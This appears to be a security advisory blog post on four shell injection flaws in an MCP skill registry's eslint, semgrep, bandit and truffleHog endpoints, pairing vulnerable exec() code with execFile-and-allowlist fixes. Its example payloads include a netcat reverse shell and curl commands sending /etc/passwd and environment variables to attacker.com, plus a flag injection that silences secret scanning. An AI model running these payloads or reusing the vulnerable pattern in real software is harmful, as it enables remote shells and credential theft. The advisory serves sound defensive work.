← Blog

Claude MCP skill code injection — skill static analysis and linting pipeline endpoints (SA-SKL-INJECTION56)

SA-SKL-INJECTION56 identifies four shell injection vulnerabilities in MCP skill registry static analysis and linting pipeline endpoints. All four exploit child_process.exec() with unsanitised user-controlled arguments to security scanner invocations — eslint, semgrep, bandit, and truffleHog — enabling arbitrary command execution, reverse shells, environment variable exfiltration, and scan result manipulation.

SA-SKL-INJECTION56 findings at a glance
CRITICALINJECTION56-001 — exec(`eslint ${targetPath} --config ${configFile}`); attacker configFile with ; cat /etc/passwd exfiltrates system user list; fix: execFile() array; configFile from server-side allowlist Map; realpathSync containment
CRITICALINJECTION56-002 — exec(`semgrep --config ${rulesetPath} ${targetDir}`); attacker rulesetPath with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; rulesetPath from server-side allowlist; realpathSync containment
CRITICALINJECTION56-003 — exec(`bandit -r ${targetDir} -f json`); attacker targetDir with ; printenv exfiltrates all env vars; fix: execFile() array; targetDir from server-side workspace path; never from user input
HIGHINJECTION56-004 — exec(`truffleHog ${repoUrl}`); attacker repoUrl with space-injected --only-verified flag silences unverified secret detection; fix: execFile() array; validate repoUrl against allowlist; explicit --no-filter flag

INJECTION56-001 — eslint configFile shell injection

The static analysis pipeline runs eslint against submitted skill source code. The configFile parameter, supplied by the user to specify which eslint configuration to apply, is interpolated directly into a shell command string passed to exec(). Because exec() passes the command string to /bin/sh -c, semicolons, pipes, and backticks in the input are interpreted as shell metacharacters.

Vulnerable
// INJECTION56-001 — VULNERABLE
const { exec } = require('child_process');
router.post('/lint', requireSession, async (req, res) => {
  const { targetPath, configFile } = req.body;
  // VULNERABLE: configFile from user input interpolated into shell command
  // attacker: configFile = "; cat /etc/passwd | curl -d @- https://attacker.com"
  exec(`eslint ${targetPath} --config ${configFile} --format json`, (err, stdout) => {
    res.json({ output: stdout });
  });
});
Fixed
// INJECTION56-001 — FIXED
const { execFile } = require('child_process');
const path = require('path');
const fs = require('fs');

// Server-side allowlist of permitted eslint config files
const ESLINT_CONFIG_ALLOWLIST = new Map([
  ['default', '/app/linting/eslint/.eslintrc.default.json'],
  ['strict',  '/app/linting/eslint/.eslintrc.strict.json'],
  ['minimal', '/app/linting/eslint/.eslintrc.minimal.json'],
]);

router.post('/lint', requireSession, async (req, res) => {
  const { targetPath, configFile } = req.body;

  // FIXED: configFile from allowlist only — never from raw user input
  const resolvedConfig = ESLINT_CONFIG_ALLOWLIST.get(configFile);
  if (!resolvedConfig) {
    return res.status(422).json({ error: 'Unknown eslint config' });
  }

  // FIXED: targetPath must be within the job workspace
  const workspaceRoot = `/app/jobs/${req.session.userId}`;
  const resolvedTarget = fs.realpathSync(path.resolve(workspaceRoot, targetPath));
  if (!resolvedTarget.startsWith(workspaceRoot)) {
    return res.status(422).json({ error: 'targetPath outside workspace' });
  }

  // FIXED: execFile() — arguments passed as array, never interpreted by shell
  execFile('eslint', [resolvedTarget, '--config', resolvedConfig, '--format', 'json'],
    { timeout: 30000, maxBuffer: 1024 * 1024 },
    (err, stdout) => res.json({ output: stdout })
  );
});

INJECTION56-002 — semgrep rulesetPath reverse shell injection

The semgrep-based vulnerability scan accepts a user-supplied rulesetPath parameter specifying which ruleset to run. This path is interpolated into a shell command. An attacker submits rulesetPath = "; nc attacker.com 4444 -e /bin/sh". The shell interprets the semicolon as a command separator and executes the netcat reverse shell command with the registry server's privileges.

Vulnerable
// INJECTION56-002 — VULNERABLE
exec(`semgrep --config ${rulesetPath} ${targetDir} --json`, callback);
// attacker rulesetPath = "; nc attacker.com 4444 -e /bin/sh"
// shell interprets: semgrep --config [blank] [blank] --json ; nc attacker.com 4444 -e /bin/sh
Fixed
// INJECTION56-002 — FIXED
const SEMGREP_RULESET_ALLOWLIST = new Map([
  ['owasp-top10',    'p/owasp-top-ten'],
  ['security-audit', 'p/security-audit'],
  ['javascript',     'p/javascript'],
]);

const resolvedRuleset = SEMGREP_RULESET_ALLOWLIST.get(req.body.rulesetPath);
if (!resolvedRuleset) return res.status(422).json({ error: 'Unknown ruleset' });

const resolvedTarget = containPath(workspaceRoot, req.body.targetDir);

// FIXED: execFile() array — no shell interpretation
execFile('semgrep', ['--config', resolvedRuleset, resolvedTarget, '--json'],
  { timeout: 60000, maxBuffer: 2 * 1024 * 1024 },
  (err, stdout) => res.json({ output: stdout })
);

INJECTION56-003 — bandit targetDir environment variable exfiltration

The Python security scanner bandit runs against submitted Python skills. The targetDir parameter is supplied by the user and interpolated into the shell command. An attacker submits targetDir = ". ; printenv | curl -d @- https://attacker.com/env". The shell executes printenv and pipes the full environment to the attacker's server, exfiltrating all environment variables including database credentials, API keys, and signing secrets.

Vulnerable
// INJECTION56-003 — VULNERABLE
exec(`bandit -r ${targetDir} -f json -o /tmp/bandit-output.json`, callback);
// attacker targetDir = ". ; printenv | curl -d @- https://attacker.com"
Fixed
// INJECTION56-003 — FIXED
// targetDir must NEVER come from user input — always from server-side workspace mapping
const jobDir = path.join('/app/jobs', req.session.jobId, 'workspace');
// Verify the job workspace exists and belongs to this session
const resolvedJobDir = fs.realpathSync(jobDir);
if (!resolvedJobDir.startsWith('/app/jobs/')) {
  return res.status(422).json({ error: 'Invalid job workspace' });
}

execFile('bandit', ['-r', resolvedJobDir, '-f', 'json'],
  { timeout: 120000, maxBuffer: 2 * 1024 * 1024, env: { PATH: '/usr/bin:/bin' } }, // sanitised env
  (err, stdout) => res.json({ output: stdout })
);

Env var exfiltration impact: A registry server's environment typically contains DATABASE_URL, REDIS_URL, STRIPE_SECRET_KEY, ANTHROPIC_API_KEY, and all other service credentials. Exfiltrating the full environment grants the attacker complete access to every service the registry integrates with, extending the blast radius far beyond the registry itself.

INJECTION56-004 — truffleHog repoUrl flag injection silences secret detection

The credential leak scanner uses truffleHog to detect secrets in submitted skill repositories. The repoUrl parameter is used directly in the shell command. Unlike the previous three findings, this injection does not exfiltrate data or establish a shell — instead, it modifies scan behavior. An attacker submits repoUrl = "https://github.com/attacker/malicious-skill --only-verified". The shell interprets the space-separated flag as an additional argument to truffleHog, restricting output to only cryptographically verified secrets. This causes truffleHog to silently skip all unverified credentials — the majority of real credential leaks — producing a false-clean report that the attacker can point to as proof their malicious skill has no security issues.

Vulnerable
// INJECTION56-004 — VULNERABLE
exec(`truffleHog ${repoUrl} --json --no-update`, callback);
// attacker repoUrl = "https://github.com/attacker/evil-skill --only-verified"
// executed as: truffleHog https://github.com/attacker/evil-skill --only-verified --json --no-update
// --only-verified silences all unverified secrets — produces false-clean report
Fixed
// INJECTION56-004 — FIXED
const { z } = require('zod');

const RepoUrlSchema = z.string()
  .url()
  .regex(/^https:\/\/(github\.com|gitlab\.com|bitbucket\.org)\/[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+(\.git)?$/, 'Must be a GitHub/GitLab/Bitbucket HTTPS URL');

const repoUrl = RepoUrlSchema.parse(req.body.repoUrl);

// FIXED: execFile() array — space-injected flags cannot be injected as arguments
// FIXED: explicit --no-filter and --include-detectors to prevent silencing via flag injection
execFile('truffleHog', [
  'git', repoUrl,
  '--json',
  '--no-update',
  '--include-detectors', 'all',  // FIXED: explicit — cannot be overridden by user input
], { timeout: 180000, maxBuffer: 10 * 1024 * 1024 }, callback);

The core fix for all four INJECTION56 findings: Replace every exec(templateString) call with execFile(binary, argsArray). The execFile API passes arguments as a list to execvp() without invoking a shell. Shell metacharacters in arguments (;, |, &, `, $, spaces) are passed as literal characters to the binary, not interpreted by the shell. All four INJECTION56 findings are eliminated by this single mechanical change, combined with server-side allowlists for path and config arguments that must never come from user input.

Related: SA-SKL-CORS65: CORS in API key management endpoints • All advisories